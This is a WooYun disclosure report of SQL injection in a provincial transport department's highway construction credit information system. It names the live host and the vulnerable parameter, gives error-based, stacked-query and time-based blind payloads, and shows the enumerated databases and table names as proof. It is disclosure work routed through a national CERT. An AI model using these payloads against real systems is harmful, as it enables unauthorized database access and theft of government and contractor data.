漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-026642
漏洞标题:某省交通运输厅公路建设市场信用信息管理系统SQL注入,可脱库
相关厂商:湖南省交通运输厅
漏洞作者: 霍大然
提交时间:2013-06-22 18:02
修复时间:2013-08-06 18:03
公开时间:2013-08-06 18:03
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-06-22: 细节已通知厂商并且等待厂商处理中
2013-06-26: 厂商已经确认,细节仅向厂商公开
2013-07-06: 细节向核心白帽子及相关领域专家公开
2013-07-16: 细节向普通白帽子公开
2013-07-26: 细节向实习白帽子公开
2013-08-06: 细节向公众公开
简要描述:
公路建设市场信用信息,好像和招投标有关系。
详细说明:
注入点
http://113.240.255.146:802/comp_employerbookinfo.aspx
参数:PGuid=
盲注,速度慢的要死,不找后台密码了。
place: GET
Parameter: PGuid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: PGuid=25' AND 4061=CONVERT(INT,(CHAR(58)+CHAR(102)+CHAR(102)+CHAR(113)+CHAR(58)+(SELECT (CASE WHEN (4061=4061) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(103)+CHAR(101)+CHAR(100)+CHAR(58))) AND 'kWbq'='kWbq
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: PGuid=25'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: PGuid=25' WAITFOR DELAY '0:0:5'--
available databases [9]:
[*] [JiDianDB\x11]
[*] [ShuiYunDB\x02]
[*] GongLuDB
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
漏洞证明:
atabase: GongLuDB
[50 tables]
+--------------------------------+
| dbo.2009 |
| dbo.2010 |
| dbo.2011 |
| dbo.D99_CMD |
| dbo.D99_REG |
| dbo.D99_Tmp |
| dbo.KFMX_View |
| dbo.Log_Operate |
| dbo.ReturnRecord |
| dbo.SmsData |
| dbo.T_Resources |
| dbo.T_Temp_Change |
| dbo.[s_GuanliܠuanYonghu] |
| dbo.[s_QyeYonghu] |
| dbo.[t_BigMnfo`Ѵk] |
| dbo.[t_BiyngebecordI] |
| dbo.[t_Credit_Count] |
| dbo.[t_Credit_Xingwei] |
| dbo.comd_list |
| dbo.foofoofoo |
| dbo.s_Dictionary |
| dbo.s_SYAInfo |
| dbo.s_attachments |
| dbo.s_news |
| dbo.t_ChangeTableandCloumnInfo |
| dbo.t_Comp_BasicInfo |
| dbo.t_Comp_CreditInfo |
| dbo.t_Comp_ExpandZZInfo |
| dbo.t_Comp_Finance |
| dbo.t_Comp_GainZZInfo |
| dbo.t_Comp_GoodBadInfo |
| dbo.t_Comp_Yeji |
| dbo.t_Comp_ZZInfo |
| dbo.t_Credit_Biaoduan |
| dbo.t_Credit_Config |
| dbo.t_Credit_Count_New |
| dbo.t_Credit_Qjye |
| dbo.t_Credit_Xiangmu |
| dbo.t_Employer |
| dbo.t_EmployerBookInfo |
| dbo.t_EmployerProjectInfo |
| dbo.t_GoodInfo |
| dbo.t_JSDW_ProjectSec |
| dbo.t_JSWD_Project |
| dbo.t_Project_Biaoduan |
| dbo.t_Project_BiaoduanEmployer |
| dbo.t_Project_BiaoduanPeople |
| dbo.t_Prooect |
| dbo.t_bhz |
| dbo.ttt |
+--------------------------------+
修复方案:
过滤,修改存储过程,变量参数化……
版权声明:转载请注明来源 霍大然@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2013-06-26 22:54
厂商回复:
最新状态:
暂无